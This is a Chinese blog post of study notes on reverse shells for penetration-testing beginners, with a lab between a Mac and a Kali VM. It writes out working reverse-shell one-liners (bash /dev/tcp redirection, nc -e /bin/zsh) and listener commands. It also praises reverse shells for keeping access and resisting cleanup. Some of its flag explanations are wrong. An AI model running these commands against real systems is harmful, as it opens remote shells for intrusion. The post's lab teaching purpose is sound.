【学习笔记】反弹shell命令学习笔记,实战指南,1v1攻击测试教学,常用的反弹shell命令: bash -i >& /dev/tcp/vps的ip/vps的端口 0>&1

文章目录

前言

为何给靶机发送这条执行命令就会自动连接到本地计算机,并且出发实时通讯机制(ps:有点类似oicq,前生就是用的这种模式开发的即时通讯)

作为渗透测试人员必备技能,反弹shell到底是什么原理,以及如何使用,本文是自己学习shell命令时的个人感悟和笔记,文章内容大量引入了较为官方的语言,给入门渗透学习的人员提供一个参考1


更容易阅读的版本在这里,点击传送


常用的反弹shell命令:
bash -i >& /dev/tcp/vps的ip/vps的端口 0>&1

何为shell

Shell 脚本(shell script),是一种为 shell 编写的脚本程序。

如何执行

有一个能编写代码的文本编辑器和一个能解释执行的脚本解释器就可以执行

shell种类

linux

Bourne Shell/usr/bin/sh或/bin/sh)
Bourne Again Shell/bin/bash)
C Shell/usr/bin/csh)
K Shell/usr/bin/ksh)
Shell for Root/sbin/sh)..

Mac

bash
zsh
..

Windows

PowerShell
Cmd
..

bash与sh

bash对sh兼容,是各种Linux发行版标准配置的Shell

何为反弹shell:

:::tip

  • 让靶机主动执行连接我们本地机器的命令
  • 优点:
  • 靶机更换ip后依然不会丢失权限
  • 连接方便、操作简单
  • 相较于传统后门不易被清理等优势;
    :::

正向shell

可以理解为q1给q2打电话,q2接电话,完成信息接通

反弹shell

可以理解为q1给q2打电话,q2把q1的电话号码保存下来,然后重新呼叫了q1

linux反弹shell

nc(NetCat)

可实现任意TCP/UDP端口的侦听

安装nc(发行版linux默认已安装)

命令:

yum install nc -y

使用方法

nc -lvp 4444 
# -lvp (l监听v输出p端口)

实战

靶机执行:

bash -i >& /dev/tcp/192.168.0.10/4444 0>&1
# bash -i  启动交互式命令bash 
# -i       将输出重定向到文件
# /dev/tcp 靶机为Linux的设备/dev/tcp连接程序启动socket(Linux系统:所有程序都是目录文件)
# 192.168.0.10/4444 连接的ip和端口(即本地计算机)
# 0>&1     远程的输入和输出(消息呈现方式为远程)
命令解释
bash -i启动交互式命令bash
-i将输出重定向到文件
/dev/tcp靶机为Linux的设备/dev/tcp连接程序启动socket(Linux系统:所有程序都是目录文件)
192.168.0.10/4444连接的ip和端口(即本地计算机)
0>&1远程的输入和输出(消息呈现方式为远程)

实战时注意

:::warning
Mac监听端没有nc -lvp port此命令 只有nc -lv port
:::

实战中,我拿Mac和kali-linux进行测试

查看Mac和Linux的ip命令:

sudo su
ifconfig

kali的ip:10.211.55.4
kali的ip:10.211.55.4Mac的ip:10.37.129.2
Mac的ip:10.37.129.2

正向连接- Mac连接kali

1.kali启动监听:(先启动监听,否则拒绝连接)

sudo su
nc -lv 7777

在这里插入图片描述
Mac执行:

sudo su
zsh -i > /dev/tcp/mac监听ip/mac监听端口
(ls,pwd,whoami,cd /tmp,)

在这里插入图片描述
此时Mac终端执行者已经变为kali的root用户

尝试发送信息(Mac->kali)

whoami

在这里插入图片描述kali机:监听端口并且实时回显信息
在这里插入图片描述尝试在kali上执行命令

pwd

在这里插入图片描述

在这里插入图片描述
可以看到Mac上并无信息

因为此时为单方通信,即Mac的信息呈现在kali

反弹shell

shell:Mac->(攻击)kali

Mac开启监听

nc -lv 7777

在这里插入图片描述
kali开启shell

nc 10.211.55.2(Mac:ip) 7777 -e /bin/zsh(zsh或者bash) 

ps:模拟渗透测试时通过某个途径将shell命令发送到了kali机器并成功执行

在这里插入图片描述
此时在Mac(攻击机)上执行命令:

whoami

在这里插入图片描述
可以看到Mac机成功执行命令,并且反弹回相关信息

再看看kali机
在这里插入图片描述

并无任何显示

反弹shell:linux——>(攻击)kali
kali开启监听

nc -lvnp 7777

在这里插入图片描述

Mac被攻击,执行了shell命令:

bash -i >& /dev/tcp/10.211.55.4(kali)/7777 0>&1

在这里插入图片描述
此时kali已经有回显信息了,并且连接成功为bash
在这里插入图片描述
在kali上执行命令,成功回显
在这里插入图片描述
Mac不能执行主动终结命令,权限属于kali机

以上就是我对反弹shell的理解和感受,欢迎留言
写作耗时约2h@(。・o・)@

阅读更多(๑•̀ㅂ•́)و✧Fighting

  1. https://blog.csdn.net/qq_37092496/article/details/122931617 ↩︎

  • 5
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

爬虫数据分析师

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值